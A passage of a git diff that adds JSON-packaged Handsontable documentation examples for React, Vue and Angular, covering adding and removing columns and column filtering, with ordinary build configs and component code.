(TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const insertColumn = () => {\n const hot = hotRef.current?.hotInstance;\n\n // insert one column at the end of the grid\n hot?.alter('insert_col_end', hot.countCols() - 1, 1);\n };\n\n const removeColumn = () => {\n const hot = hotRef.current?.hotInstance;\n\n // remove the last column, but keep at least one column in the grid\n if (hot && hot.countCols() > 1) {\n hot.alter('remove_col', hot.countCols() - 1, 1);\n }\n };\n\n return (\n <>\n
    \n
    \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-adding/react/example1.tsx","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example2.tsx.json new file mode 100644 index 00000000..36588d93 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-adding/react/example2.tsx","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example1.vue.json new file mode 100644 index 00000000..eba61ac5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Adding and removing columns · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-adding/vue/example1.vue","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-adding","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example2.vue.json new file mode 100644 index 00000000..7ef5ca45 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-adding__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Adding and removing columns · Add and remove columns from the context menu · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-adding/vue/example2.vue","breadcrumb":["Columns","Adding and removing columns"],"guide":"guides/columns/column-adding/column-adding.md","guideTitle":"Adding and removing columns","exampleId":"example2","exampleTitle":"Add and remove columns from the context menu","docPermalink":"/column-adding","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example1.ts.json new file mode 100644 index 00000000..85d8e7ef --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example1.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example10.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example10.ts.json new file mode 100644 index 00000000..96979f2b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example10.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Server-side filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example10',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack: { column: number; conditions: unknown[]; operation: string }[]) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(\n `The amount of filters added to this column: ${lastChanged.conditions.length}`\n );\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example10.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example10","exampleTitle":"Server-side filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example11.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example11.ts.json new file mode 100644 index 00000000..01f32fd4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example11.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Filter data programmatically (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport { Filters } from 'handsontable/plugins';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example11',\n template: `\n
    \n
    \n \n \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: 